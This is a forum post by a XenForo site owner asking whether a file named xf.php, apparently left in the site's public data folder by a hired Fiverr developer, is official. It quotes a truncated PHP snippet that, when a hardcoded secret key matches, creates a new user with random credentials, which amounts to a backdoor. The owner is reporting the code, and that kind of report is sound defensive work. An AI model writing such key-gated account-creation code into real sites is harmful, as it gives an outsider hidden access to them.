so i hired a dev on fiverr to make me an addon, it took way to long to complete by the time frame so i fired him, then some time later re-hired him to actually finish it, garbage work was done, but apparently he may or may not have uploaded a file named xf.php in /home/domain-name/public_html/data/xf.php, this is not an official xenforo file is it? because within it is.
PHP:
if ($key == 'dfdasfasfsjd544fjjkl') {
// Create a new user with random credentials
$registration = \XF::service('XF:User\Registration');
$input['username'] = $randomString;
$input['email'] =...
